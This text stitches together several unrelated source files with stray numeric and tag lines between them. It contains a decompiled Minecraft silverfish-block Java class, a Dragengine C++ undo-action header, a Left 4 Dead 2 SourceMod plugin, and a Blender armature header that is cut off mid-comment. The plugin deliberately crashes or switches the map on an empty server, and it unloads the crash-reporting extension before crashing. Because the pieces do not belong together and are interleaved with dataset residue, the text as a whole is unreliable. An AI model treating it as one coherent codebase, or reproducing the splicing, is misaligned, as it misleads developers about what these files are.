package net.minecraft.block; import java.util.List; import java.util.Random; import net.minecraft.block.material.Material; import net.minecraft.block.properties.IProperty; import net.minecraft.block.properties.PropertyEnum; import net.minecraft.block.state.BlockState; import net.minecraft.block.state.IBlockState; import net.minecraft.creativetab.CreativeTabs; import net.minecraft.entity.monster.EntitySilverfish; import net.minecraft.init.Blocks; import net.minecraft.item.Item; import net.minecraft.item.ItemStack; import net.minecraft.util.BlockPos; import net.minecraft.util.IStringSerializable; import net.minecraft.world.World; public class BlockSilverfish extends Block { public static final PropertyEnum<BlockSilverfish.EnumType> VARIANT = PropertyEnum.<BlockSilverfish.EnumType>create("variant", BlockSilverfish.EnumType.class); public BlockSilverfish() { super(Material.clay); this.setDefaultState(this.blockState.getBaseState().withProperty(VARIANT, BlockSilverfish.EnumType.STONE)); this.setHardness(0.0F); this.setCreativeTab(CreativeTabs.tabDecorations); } public int quantityDropped(Random random) { return 0; } public static boolean canContainSilverfish(IBlockState blockState) { Block block = blockState.getBlock(); return blockState == Blocks.stone.getDefaultState().withProperty(BlockStone.VARIANT, BlockStone.EnumType.STONE) || block == Blocks.cobblestone || block == Blocks.stonebrick; } protected ItemStack createStackedBlock(IBlockState state) { switch ((BlockSilverfish.EnumType)state.getValue(VARIANT)) { case COBBLESTONE: return new ItemStack(Blocks.cobblestone); case STONEBRICK: return new ItemStack(Blocks.stonebrick); case MOSSY_STONEBRICK: return new ItemStack(Blocks.stonebrick, 1, BlockStoneBrick.EnumType.MOSSY.getMetadata()); case CRACKED_STONEBRICK: return new ItemStack(Blocks.stonebrick, 1, BlockStoneBrick.EnumType.CRACKED.getMetadata()); case CHISELED_STONEBRICK: return new ItemStack(Blocks.stonebrick, 1, BlockStoneBrick.EnumType.CHISELED.getMetadata()); default: return new ItemStack(Blocks.stone); } } public void dropBlockAsItemWithChance(World worldIn, BlockPos pos, IBlockState state, float chance, int fortune) { if (!worldIn.isRemote && worldIn.getGameRules().getBoolean("doTileDrops")) { EntitySilverfish entitysilverfish = new EntitySilverfish(worldIn); entitysilverfish.setLocationAndAngles((double)pos.getX() + 0.5D, (double)pos.getY(), (double)pos.getZ() + 0.5D, 0.0F, 0.0F); worldIn.spawnEntityInWorld(entitysilverfish); entitysilverfish.spawnExplosionParticle(); } } public int getDamageValue(World worldIn, BlockPos pos) { IBlockState iblockstate = worldIn.getBlockState(pos); return iblockstate.getBlock().getMetaFromState(iblockstate); } public void getSubBlocks(Item itemIn, CreativeTabs tab, List<ItemStack> list) { for (BlockSilverfish.EnumType blocksilverfish$enumtype : BlockSilverfish.EnumType.values()) { list.add(new ItemStack(itemIn, 1, blocksilverfish$enumtype.getMetadata())); } } public IBlockState getStateFromMeta(int meta) { return this.getDefaultState().withProperty(VARIANT, BlockSilverfish.EnumType.byMetadata(meta)); } public int getMetaFromState(IBlockState state) { return ((BlockSilverfish.EnumType)state.getValue(VARIANT)).getMetadata(); } protected BlockState createBlockState() { return new BlockState(this, new IProperty[] {VARIANT}); } public static enum EnumType implements IStringSerializable { STONE(0, "stone") { public IBlockState getModelBlock() { return Blocks.stone.getDefaultState().withProperty(BlockStone.VARIANT, BlockStone.EnumType.STONE); } }, COBBLESTONE(1, "cobblestone", "cobble") { public IBlockState getModelBlock() { return Blocks.cobblestone.getDefaultState(); } }, STONEBRICK(2, "stone_brick", "brick") { public IBlockState getModelBlock() { return Blocks.stonebrick.getDefaultState().withProperty(BlockStoneBrick.VARIANT, BlockStoneBrick.EnumType.DEFAULT); } }, MOSSY_STONEBRICK(3, "mossy_brick", "mossybrick") { public IBlockState getModelBlock() { return Blocks.stonebrick.getDefaultState().withProperty(BlockStoneBrick.VARIANT, BlockStoneBrick.EnumType.MOSSY); } }, CRACKED_STONEBRICK(4, "cracked_brick", "crackedbrick") { public IBlockState getModelBlock() { return Blocks.stonebrick.getDefaultState().withProperty(BlockStoneBrick.VARIANT, BlockStoneBrick.EnumType.CRACKED); } }, CHISELED_STONEBRICK(5, "chiseled_brick", "chiseledbrick") { public IBlockState getModelBlock() { return Blocks.stonebrick.getDefaultState().withProperty(BlockStoneBrick.VARIANT, BlockStoneBrick.EnumType.CHISELED); } }; private static final BlockSilverfish.EnumType[] META_LOOKUP = new BlockSilverfish.EnumType[values().length]; private final int meta; private final String name; private final String unlocalizedName; private EnumType(int meta, String name) { this(meta, name, name); } private EnumType(int meta, String name, String unlocalizedName) { this.meta = meta; this.name = name; this.unlocalizedName = unlocalizedName; } public int getMetadata() { return this.meta; } public String toString() { return this.name; } public static BlockSilverfish.EnumType byMetadata(int meta) { if (meta < 0 || meta >= META_LOOKUP.length) { meta = 0; } return META_LOOKUP[meta]; } public String getName() { return this.name; } public String getUnlocalizedName() { return this.unlocalizedName; } public abstract IBlockState getModelBlock(); public static BlockSilverfish.EnumType forModelBlock(IBlockState model) { for (BlockSilverfish.EnumType blocksilverfish$enumtype : values()) { if (model == blocksilverfish$enumtype.getModelBlock()) { return blocksilverfish$enumtype; } } return STONE; } static { for (BlockSilverfish.EnumType blocksilverfish$enumtype : values()) { META_LOOKUP[blocksilverfish$enumtype.getMetadata()] = blocksilverfish$enumtype; } } } }
1
0.808255
1
0.808255
game-dev
MEDIA
0.985966
game-dev
0.918511
1
0.918511
LordOfDragons/dragengine
2,098
src/deigde/editors/gameDefinition/src/undosys/objectClass/component/texture/gdeUOCCTextureSetName.h
/* * MIT License * * Copyright (C) 2024, DragonDreams GmbH (info@dragondreams.ch) * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #ifndef _GDEUOCCTEXTURESETNAME_H_ #define _GDEUOCCTEXTURESETNAME_H_ #include <deigde/undo/igdeUndo.h> class gdeOCComponent; class gdeOCComponentTexture; class gdeObjectClass; /** * \brief Undo action object class component texture set name. */ class gdeUOCCTextureSetName : public igdeUndo{ private: gdeObjectClass *pObjectClass; gdeOCComponent *pComponent; gdeOCComponentTexture *pTexture; decString pOldValue; decString pNewValue; public: /** \name Constructors and Destructors */ /*@{*/ /** \brief Create undo action. */ gdeUOCCTextureSetName( gdeObjectClass *objectClass, gdeOCComponent *component, gdeOCComponentTexture *texture, const char *newValue ); protected: /** \brief Clean up undo action. */ virtual ~gdeUOCCTextureSetName(); /*@}*/ public: /** \name Management */ /*@{*/ /** \brief Undo. */ virtual void Undo(); /** \brief Redo. */ virtual void Redo(); /*@}*/ }; #endif
1
0.789592
1
0.789592
game-dev
MEDIA
0.532051
game-dev,desktop-app
0.51161
1
0.51161
GJKen/L4d2_plugins
10,750
可选-服务器没人后炸服或切换为官图(v1.2.2)(lakwsh, 豆瓣酱な)/left4dead2/addons/sourcemod/scripting/l4d2_empty.sp
#pragma semicolon 1 //強制1.7以後的新語法 #pragma newdecls required #include <sourcemod> #include <adminmenu> #include <dhooks> #include <left4dhooks> #define PLUGIN_VERSION "1.2.2" #define CVAR_FLAGS FCVAR_NOTIFY int g_iCountdown; Handle g_hPlayerTimer; char chatFile[128], g_sEmptyCode[128], g_sEmptyMode[128]; ConVar g_hGamemode, g_hEmptyCode, g_hEmptyMode; int g_iEmptyLog, g_iEmptySwitch, g_iEmptyCrash, g_iEmptyType, g_iEmptyCommand; ConVar g_hEmptyLog, g_hEmptySwitch, g_hEmptyCrash, g_hEmptyType, g_hEmptyCommand; TopMenu g_hTopMenu_Other; TopMenuObject g_hOther = INVALID_TOPMENUOBJECT; public Plugin myinfo = { name = "[L4D2] Empty", author = "lakwsh, 豆瓣酱な", version = PLUGIN_VERSION, url = "https://github.com/lakwsh" } public void OnPluginStart() { LoadGameCFG(); TopMenu topmenu; if (LibraryExists("adminmenu") && ((topmenu = GetAdminTopMenu()) != null)) OnAdminMenuReady(topmenu); RegConsoleCmd("sm_bom", Command_BomServer, "手动爆炸服务端."); g_hGamemode = FindConVar("mp_gamemode"); g_hEmptyLog = CreateConVar("l4d2_empty_Log", "1", "服务器无人后记录日志内容? 0=禁用, 1=启用.", CVAR_FLAGS); g_hEmptySwitch = CreateConVar("l4d2_empty_Switch", "1", "服务器无人后执行什么功能? 0=禁用, 1=炸服, 2=切换为指定地图.", CVAR_FLAGS); g_hEmptyCode = CreateConVar("l4d2_empty_code", "c2m1_highway", "服务器无人后设置什么地图(填入建图代码).", CVAR_FLAGS); g_hEmptyMode = CreateConVar("l4d2_empty_mode", "coop", "服务器无人后设置什么模式(填入模式代码.", CVAR_FLAGS); g_hEmptyCrash = CreateConVar("l4d2_empty_crash", "1", "允许什么系统的服务器崩溃? 1=linux, 2=windows, 3=两者.", CVAR_FLAGS); g_hEmptyType = CreateConVar("l4d2_empty_type", "1", "允许什么类型的服务器崩溃? 1=专用服务器, 2=本地服务器, 3=两者.", CVAR_FLAGS); g_hEmptyCommand = CreateConVar("l4d2_empty_Command","10", "设置玩家使用!Bom指令手动炸服的倒计时时间/秒. 0=禁用.", CVAR_FLAGS); g_hEmptyLog.AddChangeHook(EmptyConVarChanged); g_hEmptySwitch.AddChangeHook(EmptyConVarChanged); g_hEmptyCode.AddChangeHook(EmptyConVarChanged); g_hEmptyMode.AddChangeHook(EmptyConVarChanged); g_hEmptyCrash.AddChangeHook(EmptyConVarChanged); g_hEmptyType.AddChangeHook(EmptyConVarChanged); g_hEmptyCommand.AddChangeHook(EmptyConVarChanged); AutoExecConfig(true, "l4d2_empty"); } public void EmptyConVarChanged(ConVar convar, const char[] oldValue, const char[] newValue) { GetEmptyCvars(); } public void OnConfigsExecuted() { GetEmptyCvars(); } void GetEmptyCvars() { g_iEmptyLog = g_hEmptyLog.IntValue; g_iEmptySwitch = g_hEmptySwitch.IntValue; g_iEmptyCrash = g_hEmptyCrash.IntValue; g_iEmptyType = g_hEmptyType.IntValue; g_iEmptyCommand = g_hEmptyCommand.IntValue; g_hEmptyCode.GetString(g_sEmptyCode, sizeof(g_sEmptyCode)); g_hEmptyMode.GetString(g_sEmptyMode, sizeof(g_sEmptyMode)); } public void OnLibraryRemoved(const char[] name) { if (StrEqual(name, "adminmenu")) g_hTopMenu_Other = null; } public void OnAdminMenuReady(Handle aTopMenu) { TopMenu topmenu = TopMenu.FromHandle(aTopMenu); if (topmenu == g_hTopMenu_Other) return; g_hTopMenu_Other = topmenu; TopMenuObject objMenu_Other = FindTopMenuCategory(g_hTopMenu_Other, "OtherFeatures"); if (objMenu_Other == INVALID_TOPMENUOBJECT) objMenu_Other = AddToTopMenu(g_hTopMenu_Other, "OtherFeatures", TopMenuObject_Category, AdminMenuHandler_Other, INVALID_TOPMENUOBJECT); g_hOther = AddToTopMenu(g_hTopMenu_Other,"sm_bom",TopMenuObject_Item,InfectedMenuHandler_Other,objMenu_Other,"sm_bom",ADMFLAG_ROOT); } public void AdminMenuHandler_Other(Handle topmenu_Other, TopMenuAction action, TopMenuObject object_id, int param, char[] buffer, int maxlength_Other) { if (action == TopMenuAction_DisplayTitle) { Format(buffer, maxlength_Other, "选择功能:", param); } else if (action == TopMenuAction_DisplayOption) { Format(buffer, maxlength_Other, "其它功能", param); } } public void InfectedMenuHandler_Other(Handle topmenu_Other, TopMenuAction action, TopMenuObject object_id, int param, char[] buffer, int maxlength_Other) { if (action == TopMenuAction_DisplayOption) { if (object_id == g_hOther) Format(buffer, maxlength_Other, "执行炸服", param); } else if (action == TopMenuAction_SelectOption) { if (object_id == g_hOther) IsFriedSuitMenu(param, true); } } public Action Command_BomServer(int client, int args) { if(bCheckClientAccess(client)) IsFriedSuitMenu(client, false); else PrintToChat(client, "\x04[提示]\x05你无权使用此指令."); return Plugin_Handled; } bool bCheckClientAccess(int client) { if(GetUserFlagBits(client) & ADMFLAG_ROOT) return true; return false; } void IsFriedSuitMenu(int client, bool bButton = false) { if(g_iEmptyCommand > 0) { char line[32], sButton[32]; IntToString(bButton, sButton, sizeof(sButton)); Menu menu = new Menu(Menu_HandlerFriedSuitMenu); Format(line, sizeof(line), "%s炸服?", g_hPlayerTimer == null ? "确认" : "取消"); SetMenuTitle(menu, "%s", line); menu.AddItem(sButton, "确认"); menu.ExitButton = true;//默认值:true,设置为:false,则不显示退出选项. menu.ExitBackButton = bButton;//显示数字8返回上一层. menu.Display(client, MENU_TIME_FOREVER); } else { if (bButton == true && g_hTopMenu_Other != null) g_hTopMenu_Other.Display(client, TopMenuPosition_LastCategory); PrintToChat(client, "\x04[提示]\x05服主未开启手动炸服指令."); } } int Menu_HandlerFriedSuitMenu(Menu menu, MenuAction action, int client, int itemNum) { switch(action) { case MenuAction_End: delete menu; case MenuAction_Select: { char sItem[32]; menu.GetItem(itemNum, sItem, sizeof(sItem)); //if (g_hTopMenu_Other != null) //g_hTopMenu_Other.Display(client, TopMenuPosition_LastCategory); if(g_hPlayerTimer == null) { IsCreateTimer(client); PrintHintTextToAll("已开启炸服倒计时.");//屏幕中下提示. } else { delete g_hPlayerTimer; PrintHintTextToAll("已关闭炸服倒计时.");//屏幕中下提示. } bool bButton = view_as<bool>(StringToInt(sItem)); IsFriedSuitMenu(client, bButton); } case MenuAction_Cancel: { if (itemNum == MenuCancel_ExitBack && g_hTopMenu_Other != null) g_hTopMenu_Other.Display(client, TopMenuPosition_LastCategory); } } return 0; } void IsCreateTimer(int client) { DataPack hPack; g_iCountdown = g_iEmptyCommand; g_hPlayerTimer = CreateDataTimer(1.0, DataTimerCallback, hPack, TIMER_REPEAT); hPack.WriteString(WriteFriedSuitWhys(client)); } public Action DataTimerCallback(Handle Timer, DataPack hPack) { hPack.Reset(); char sWhys[64]; hPack.ReadString(sWhys, sizeof(sWhys)); //读取打包的内容,"ReadString"为字符串变量参数读取 if(g_iCountdown <= 0) { PrintHintTextToAll("服务器已被爆破!");//屏幕中下提示. IsDelayExecute(sWhys); g_hPlayerTimer = null; return Plugin_Stop; } else { PrintHintTextToAll("服务器将在 %d 秒后被爆破!", g_iCountdown);//屏幕中下提示. g_iCountdown -= 1; } return Plugin_Continue; } void IsDelayExecute(char[] sWhys) { DataPack hPack = new DataPack(); RequestFrame(IsNextFrameFriedSuit, hPack); hPack.WriteString(sWhys); } void IsNextFrameFriedSuit(DataPack hPack) { hPack.Reset(); char sWhys[64]; hPack.ReadString(sWhys, sizeof(sWhys)); //读取打包的内容,"ReadString"为字符串变量参数读取 IsLoggingAndExecutionCrashes(L4D_GetServerOS(), sWhys);//记录日志和执行崩溃服务器. delete hPack; } char[] WriteFriedSuitWhys(int client) { char sWhys[64], sName[32], sSteamId[32]; GetClientName(client, sName, sizeof(sName)); GetClientAuthId(client, AuthId_Steam2, sSteamId, sizeof(sSteamId)); FormatEx(sWhys, sizeof(sWhys), "(%s)(%s)手动执行炸服", sName, sSteamId); return sWhys; } void LoadGameCFG() { GameData hGameData = new GameData("l4d2_empty"); if(!hGameData) SetFailState("Failed to load 'l4d2_empty.txt' gamedata."); DHookSetup hDetour = DHookCreateFromConf(hGameData, "HibernationUpdate"); CloseHandle(hGameData); if(!hDetour || !DHookEnableDetour(hDetour, true, OnHibernationUpdate)) SetFailState("Failed to hook HibernationUpdate"); } public MRESReturn OnHibernationUpdate(DHookParam hParams) { bool hibernating = DHookGetParam(hParams, 1); if(!hibernating || !g_iEmptySwitch) return MRES_Ignored; switch (g_iEmptySwitch) { case 1: { IsDetermineSystemType(L4D_GetServerOS(), "服务器没人了");//判断系统类型:0=windows,1=linux. } case 2: { g_hGamemode.SetString(g_sEmptyMode); ForceChangeLevel(g_sEmptyCode, "自动更换为指定的地图."); } } return MRES_Handled; } //判断系统类型. void IsDetermineSystemType(int iType, char[] sWhys) { switch (iType) { case 0: { if(g_iEmptyCrash == 2 || g_iEmptyCrash == 3) IsDetermineTheServerType(iType, sWhys);//判断服务器类型. } case 1: { if(g_iEmptyCrash == 1 || g_iEmptyCrash == 3) IsDetermineTheServerType(iType, sWhys);//判断服务器类型. } } } //判断服务器类型. void IsDetermineTheServerType(int iType, char[] sWhys) { if(IsDedicatedServer())//判断服务器类型:true=专用服务器,false=本地服务器. { if(g_iEmptyType == 1 || g_iEmptyType == 3) IsLoggingAndExecutionCrashes(iType, sWhys);//记录日志和执行崩溃服务器. } else { if(g_iEmptyType == 2 || g_iEmptyType == 3) IsLoggingAndExecutionCrashes(iType, sWhys);//记录日志和执行崩溃服务器. } } //记录日志和执行崩溃服务器. void IsLoggingAndExecutionCrashes(int iType, char[] sWhys) { UnloadAccelerator();//卸载崩溃记录扩展. IsRecordLogContent(iType, sWhys);//写入日志内容到文件. IsExecuteCrashServerCode();//执行崩溃服务端代码. } //卸载崩溃记录扩展. void UnloadAccelerator() { int Id = GetAcceleratorId(); if (Id != -1) { ServerCommand("sm exts unload %i 0", Id); ServerExecute();//立即执行. } } //by sorallll int GetAcceleratorId() { char sBuffer[512]; ServerCommandEx(sBuffer, sizeof(sBuffer), "sm exts list"); int index = SplitString(sBuffer, "] Accelerator (", sBuffer, sizeof(sBuffer)); if(index == -1) return -1; for(int i = strlen(sBuffer); i >= 0; i--) { if(sBuffer[i] == '[') return StringToInt(sBuffer[i + 1]); } return -1; } //写入日志内容到文件. void IsRecordLogContent(int iType, char[] sWhys) { //记录日志. if (g_iEmptyLog == 1) { char Msg[256], Time[32]; IsCreateLogFile();//初始化日志文件,如果没有就创建. FormatTime(Time, sizeof(Time), "%Y-%m-%d %H:%M:%S", -1); Format(Msg, sizeof(Msg), "时间:%s.\n系统类型:%s.\n服务器类型:%s.\n炸服原因:%s.", Time, iType == 0 ? "windows" : iType == 1 ? "linux" : "其它", IsDedicatedServer() ? "专用" : "本地", sWhys); IsSaveMessage("--=============================================================--"); IsSaveMessage(Msg); IsSaveMessage("--=============================================================--"); } } //创建日志文件. void IsCreateLogFile() { char Date[32], logFile[128]; FormatTime(Date, sizeof(Date), "%y%m%d", -1); Format(logFile, sizeof(logFile), "/logs/Empty%s.log", Date); BuildPath(Path_SM, chatFile, PLATFORM_MAX_PATH, logFile); } //把日志内容写入文本里. void IsSaveMessage(const char[] Message) { File fileHandle = OpenFile(chatFile, "a"); /* Append */ fileHandle.WriteLine(Message); delete fileHandle; } //执行崩溃服务端代码. void IsExecuteCrashServerCode() { SetCommandFlags("crash", GetCommandFlags("crash") &~ FCVAR_CHEAT); ServerCommand("crash"); SetCommandFlags("sv_crash", GetCommandFlags("sv_crash") &~ FCVAR_CHEAT); ServerCommand("sv_crash"); }
1
0.980392
1
0.980392
game-dev
MEDIA
0.729212
game-dev
0.966079
1
0.966079
Danilo1301/GTASA_libModPolicia
1,450
ModPolicia/Load.cpp
#include "Load.h" #include "Log.h" #include "CleoFunctions.h" std::vector<int> modelsToLoad; std::function<void()> onLoadAllCallback; void Load::AddModelToLoad(int modelId) { modelsToLoad.push_back(modelId); } void Load::AddAnimationToLoad(std::string anim) { // TODO } void Load::LoadAll(std::function<void()> callback) { onLoadAllCallback = callback; if(modelsToLoad.size() == 0) return; LoadFirstModel(); } void Load::LoadFirstModel() { auto modelId = modelsToLoad[0]; if(CleoFunctions::MODEL_AVAILABLE(modelId)) { ModelLoaded(modelId); return; } Log::Level(LOG_LEVEL::LOG_BOTH) << "Load: Loading " << modelId << " (" << modelsToLoad.size() << " left)" << std::endl; CleoFunctions::LOAD_MODEL(modelId); CleoFunctions::LOAD_REQUESTED_MODELS(); if(CleoFunctions::MODEL_AVAILABLE(modelId)) { ModelLoaded(modelId); return; } CleoFunctions::AddWaitForFunction([modelId]() { return CleoFunctions::MODEL_AVAILABLE(modelId); }, [modelId]() { ModelLoaded(modelId); }); } void Load::ModelLoaded(int modelId) { Log::Level(LOG_LEVEL::LOG_BOTH) << "Load: Model " << modelId << " loaded!" << std::endl; auto it = std::find(modelsToLoad.begin(), modelsToLoad.end(), modelId); modelsToLoad.erase(it); if(modelsToLoad.size() == 0) { onLoadAllCallback(); return; } LoadFirstModel(); }
1
0.814373
1
0.814373
game-dev
MEDIA
0.3625
game-dev
0.696585
1
0.696585
azsdaja/Osnowa
4,347
Assets/Plugins/Zenject/Source/Providers/ComponentProviders/AddToGameObjectComponentProviders/AddToGameObjectComponentProviderBase.cs
#if !NOT_UNITY3D using System; using System.Collections.Generic; using System.Linq; using ModestTree; using UnityEngine; using Zenject.Internal; namespace Zenject { [NoReflectionBaking] public abstract class AddToGameObjectComponentProviderBase : IProvider { readonly Type _componentType; readonly DiContainer _container; readonly List<TypeValuePair> _extraArguments; readonly object _concreteIdentifier; readonly Action<InjectContext, object> _instantiateCallback; public AddToGameObjectComponentProviderBase( DiContainer container, Type componentType, IEnumerable<TypeValuePair> extraArguments, object concreteIdentifier, Action<InjectContext, object> instantiateCallback) { Assert.That(componentType.DerivesFrom<Component>()); _extraArguments = extraArguments.ToList(); _componentType = componentType; _container = container; _concreteIdentifier = concreteIdentifier; _instantiateCallback = instantiateCallback; } public bool IsCached { get { return false; } } public bool TypeVariesBasedOnMemberType { get { return false; } } protected DiContainer Container { get { return _container; } } protected Type ComponentType { get { return _componentType; } } protected abstract bool ShouldToggleActive { get; } public Type GetInstanceType(InjectContext context) { return _componentType; } public void GetAllInstancesWithInjectSplit( InjectContext context, List<TypeValuePair> args, out Action injectAction, List<object> buffer) { Assert.IsNotNull(context); object instance; // We still want to make sure we can get the game object during validation var gameObj = GetGameObject(context); var wasActive = gameObj.activeSelf; if (wasActive && ShouldToggleActive) { // We need to do this in some cases to ensure that [Inject] always gets // called before awake / start gameObj.SetActive(false); } if (!_container.IsValidating || TypeAnalyzer.ShouldAllowDuringValidation(_componentType)) { if (_componentType == typeof(Transform)) // Treat transform as a special case because it's the one component that's always automatically added // Otherwise, calling AddComponent below will fail and return null // This is nice to allow doing things like // Container.Bind<Transform>().FromNewComponentOnNewGameObject(); { instance = gameObj.transform; } else { instance = gameObj.AddComponent(_componentType); } Assert.IsNotNull(instance); } else { instance = new ValidationMarker(_componentType); } injectAction = () => { try { var extraArgs = ZenPools.SpawnList<TypeValuePair>(); extraArgs.AllocFreeAddRange(_extraArguments); extraArgs.AllocFreeAddRange(args); _container.InjectExplicit(instance, _componentType, extraArgs, context, _concreteIdentifier); Assert.That(extraArgs.Count == 0); ZenPools.DespawnList(extraArgs); if (_instantiateCallback != null) { _instantiateCallback(context, instance); } } finally { if (wasActive && ShouldToggleActive) { gameObj.SetActive(true); } } }; buffer.Add(instance); } protected abstract GameObject GetGameObject(InjectContext context); } } #endif
1
0.893342
1
0.893342
game-dev
MEDIA
0.95945
game-dev
0.913427
1
0.913427
mgschwan/blensor
9,411
source/blender/makesdna/DNA_armature_types.h
/* * ***** BEGIN GPL LICENSE BLOCK ***** * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * The Original Code is Copyright (C) 2001-2002 by NaN Holding BV. * All rights reserved. * * Contributor(s): Full recode, Ton Roosendaal, Crete 2005 * * ***** END GPL LICENSE BLOCK ***** */ /** \file DNA_armature_types.h * \ingroup DNA */ #ifndef __DNA_ARMATURE_TYPES_H__ #define __DNA_ARMATURE_TYPES_H__ #include "DNA_defs.h" #include "DNA_listBase.h" #include "DNA_ID.h" struct AnimData; /* this system works on different transformation space levels; * * 1) Bone Space; with each Bone having own (0,0,0) origin * 2) Armature Space; the rest position, in Object space, Bones Spaces are applied hierarchical * 3) Pose Space; the animation position, in Object space * 4) World Space; Object matrix applied to Pose or Armature space * */ typedef struct Bone { struct Bone *next, *prev; /* Next/prev elements within this list */ IDProperty *prop; /* User-Defined Properties on this Bone */ struct Bone *parent; /* Parent (ik parent if appropriate flag is set */ ListBase childbase; /* Children */ char name[64]; /* Name of the bone - must be unique within the armature, MAXBONENAME */ float roll; /* roll is input for editmode, length calculated */ float head[3]; float tail[3]; /* head/tail and roll in Bone Space */ float bone_mat[3][3]; /* rotation derived from head/tail/roll */ int flag; float arm_head[3]; float arm_tail[3]; /* head/tail in Armature Space (rest pos) */ float arm_mat[4][4]; /* matrix: (bonemat(b)+head(b))*arm_mat(b-1), rest pos*/ float arm_roll; /* roll in Armature Space (rest pos) */ float dist, weight; /* dist, weight: for non-deformgroup deforms */ float xwidth, length, zwidth; /* width: for block bones. keep in this order, transform! */ float rad_head, rad_tail; /* radius for head/tail sphere, defining deform as well, parent->rad_tip overrides rad_head */ float roll1, roll2; /* curved bones settings - these define the "restpose" for a curved bone */ float curveInX, curveInY; float curveOutX, curveOutY; float ease1, ease2; /* length of bezier handles */ float scaleIn, scaleOut; float size[3]; /* patch for upward compat, UNUSED! */ int layer; /* layers that bone appears on */ short segments; /* for B-bones */ short pad1; } Bone; typedef struct bArmature { ID id; struct AnimData *adt; ListBase bonebase; ListBase chainbase; ListBase *edbo; /* editbone listbase, we use pointer so we can check state */ /* active bones should work like active object where possible * - active and selection are unrelated * - active & hidden is not allowed * - from the user perspective active == last selected * - active should be ignored when not visible (hidden layer) */ Bone *act_bone; /* active bone */ struct EditBone *act_edbone; /* active editbone (in editmode) */ void *sketch; /* sketch struct for etch-a-ton */ int flag; int drawtype; int gevertdeformer; /* how vertex deformation is handled in the ge */ int pad; short deformflag; short pathflag; unsigned int layer_used; /* for UI, to show which layers are there */ unsigned int layer, layer_protected; /* for buttons to work, both variables in this order together */ // XXX deprecated... old animaton system (armature only viz) --- short ghostep, ghostsize; /* number of frames to ghosts to show, and step between them */ short ghosttype, pathsize; /* ghost drawing options and number of frames between points of path */ int ghostsf, ghostef; /* start and end frames of ghost-drawing range */ int pathsf, pathef; /* start and end frames of path-calculation range for all bones */ int pathbc, pathac; /* number of frames before/after current frame of path-calculation for all bones */ // XXX end of deprecated code ---------------------------------- } bArmature; /* armature->flag */ /* don't use bit 7, was saved in files to disable stuff */ typedef enum eArmature_Flag { ARM_RESTPOS = (1<<0), ARM_DRAWXRAY = (1<<1), /* XRAY is here only for backwards converting */ ARM_DRAWAXES = (1<<2), ARM_DRAWNAMES = (1<<3), ARM_POSEMODE = (1<<4), ARM_EDITMODE = (1<<5), ARM_DELAYDEFORM = (1<<6), ARM_DONT_USE = (1<<7), ARM_MIRROR_EDIT = (1<<8), ARM_AUTO_IK = (1<<9), ARM_NO_CUSTOM = (1<<10), /* made option negative, for backwards compat */ ARM_COL_CUSTOM = (1<<11), /* draw custom colors */ ARM_GHOST_ONLYSEL = (1<<12), /* when ghosting, only show selected bones (this should belong to ghostflag instead) */ /* XXX deprecated */ ARM_DS_EXPAND = (1<<13), /* dopesheet channel is expanded */ ARM_HAS_VIZ_DEPS = (1<<14), /* other objects are used for visualizing various states (hack for efficient updates) */ } eArmature_Flag; /* armature->drawtype */ typedef enum eArmature_Drawtype { ARM_OCTA = 0, ARM_LINE = 1, ARM_B_BONE = 2, ARM_ENVELOPE = 3, ARM_WIRE = 4 } eArmature_Drawtype; /* armature->gevertdeformer */ typedef enum eArmature_VertDeformer { ARM_VDEF_BLENDER = 0, ARM_VDEF_BGE_CPU = 1 } eArmature_VertDeformer; /* armature->deformflag */ typedef enum eArmature_DeformFlag { ARM_DEF_VGROUP = (1<<0), ARM_DEF_ENVELOPE = (1<<1), ARM_DEF_QUATERNION = (1<<2), #ifdef DNA_DEPRECATED ARM_DEF_B_BONE_REST = (1<<3), /* deprecated */ #endif ARM_DEF_INVERT_VGROUP = (1<<4) } eArmature_DeformFlag; /* armature->pathflag */ // XXX deprecated... old animation system (armature only viz) #ifdef DNA_DEPRECATED typedef enum eArmature_PathFlag { ARM_PATH_FNUMS = (1<<0), ARM_PATH_KFRAS = (1<<1), ARM_PATH_HEADS = (1<<2), ARM_PATH_ACFRA = (1<<3), ARM_PATH_KFNOS = (1<<4) } eArmature_PathFlag; #endif /* armature->ghosttype */ // XXX deprecated... old animation system (armature only viz) typedef enum eArmature_GhostType { ARM_GHOST_CUR = 0, ARM_GHOST_RANGE = 1, ARM_GHOST_KEYS = 2 } eArmature_GhostType; /* bone->flag */ typedef enum eBone_Flag { BONE_SELECTED = (1 << 0), BONE_ROOTSEL = (1 << 1), BONE_TIPSEL = (1 << 2), BONE_TRANSFORM = (1 << 3), /* Used instead of BONE_SELECTED during transform (clear before use) */ BONE_CONNECTED = (1 << 4), /* when bone has a parent, connect head of bone to parent's tail*/ /* 32 used to be quatrot, was always set in files, do not reuse unless you clear it always */ BONE_HIDDEN_P = (1 << 6), /* hidden Bones when drawing PoseChannels */ BONE_DONE = (1 << 7), /* For detecting cyclic dependencies */ BONE_DRAW_ACTIVE = (1 << 8), /* active is on mouse clicks only - deprecated, ONLY USE FOR DRAWING */ BONE_HINGE = (1 << 9), /* No parent rotation or scale */ BONE_HIDDEN_A = (1 << 10), /* hidden Bones when drawing Armature Editmode */ BONE_MULT_VG_ENV = (1 << 11), /* multiplies vgroup with envelope 